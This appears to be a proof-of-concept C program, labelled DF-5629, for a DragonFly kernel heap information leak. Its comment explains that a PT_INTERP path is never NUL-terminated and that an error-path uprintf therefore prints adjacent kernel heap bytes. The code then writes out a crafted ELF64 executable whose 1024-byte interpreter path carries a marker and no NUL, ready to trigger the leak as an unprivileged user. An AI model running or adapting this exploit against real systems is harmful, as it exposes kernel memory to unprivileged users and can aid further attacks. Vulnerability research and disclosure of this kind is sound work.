DF-5629 / make_interp.c
/* * DF-5629 — kernel heap info leak via unterminated PT_INTERP path. * * Builds a minimal ELF64 executable whose PT_INTERP payload is exactly * 1024 non-NUL bytes (MAXPATHLEN). The kernel kmalloc()s p_filesz bytes, * bcopy()s the payload and NEVER NUL-terminates it * (sys/kern/imgact_elf.c:extract_interpreter). The binary is branded * DragonFly via EI_OSABI == ELFOSABI_NONE (imgact_elf.c:get_brandinfo loop 2, * brand .interp_path/.brand wired from sys/cpu/x86_64/misc/elf_machdep.c:58), * then __elfN(load_file)(interp) fails, and the error path does * uprintf("ELF interpreter %s not found\n", interp); (imgact_elf.c:844) * whose %s walks PAST the kmalloc chunk until it finds a NUL, dumping * adjacent kernel heap bytes to the executing (unprivileged) user's tty. * * Expected: the tty line contains our 1024 marker bytes FOLLOWED BY * additional bytes we never wrote (kernel heap) before " not found". */ #include <sys/stat.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define INTERP_OFF 128 #define INTERP_SZ 1024 /* == MAXPATHLEN, allowed by check */ static void put16(uint8_t *p, uint16_t v) { p[0]=v&0xff; p[1]=v>>8; } static void put32(uint8_t *p, uint32_t v) { memcpy(p, &v, 4); } static void put64(uint8_t *p, uint64_t v) { memcpy(p, &v, 8); } int main(int argc, char **argv) { uint8_t buf[INTERP_OFF + INTERP_SZ]; const char *mark = "DF5629LEAKMARK"; size_t mlen = strlen(mark); FILE *f; if (argc < 2) { fprintf(stderr, "usage: %s out.bin\n", argv[0]); return 2; } memset(buf, 0, sizeof(buf)); /* e_ident: ELFCLASS64/LSB/EV_CURRENT, EI_OSABI = ELFOSABI_NONE(0) * -> brands DragonFly in get_brandinfo() loop 2. */ buf[0]=0x7f; buf[1]='E'; buf[2]='L'; buf[3]='F'; buf[4]=2; buf[5]=1; buf[6]=1; buf[7]=0; put16(buf+16, 2); /* e_type = ET_EXEC */ put16(buf+18, 62); /* e_machine = EM_X86_64 */ put32(buf+20, 1); /* e_version = EV_CURRENT */ put64(buf+24, 0); /* e_entry */ put64(buf+32, 64); /* e_phoff */ put64(buf+40, 0); /* e_shoff */ put32(buf+48, 0); /* e_flags */ put16(buf+52, 64); /* e_ehsize */ put16(buf+54, 56); /* e_phentsize = sizeof(Elf64_Phdr) */ put16(buf+56, 1); /* e_phnum = 1 */ put16(buf+58, 0); /* e_shentsize */ put16(buf+60, 0); /* e_shnum */ put16(buf+62, 0); /* e_shstrndx */ /* phdr[0]: PT_INTERP, payload = 1024 non-NUL bytes */ put32(buf+64+0, 3); /* PT_INTERP */ put32(buf+64+4, 4); /* p_flags R */ put64(buf+64+8, INTERP_OFF); /* p_offset */ put64(buf+64+16, 0); /* p_vaddr */ put64(buf+64+24, 0); /* p_paddr */ put64(buf+64+32, INTERP_SZ); /* p_filesz (== MAXPATHLEN: allowed) */ put64(buf+64+40, INTERP_SZ); /* p_memsz */ put64(buf+64+48, 1); /* p_align */ /* the "interpreter path": marker + 'A' fill, NO NUL anywhere */ memcpy(buf + INTERP_OFF, mark, mlen); memset(buf + INTERP_OFF + mlen, 'A', INTERP_SZ - mlen); f = fopen(argv[1], "wb"); if (!f) { perror("fopen"); return 2; } fwrite(buf, 1, sizeof(buf), f); fclose(f); chmod(argv[1], 0755); return 0; } |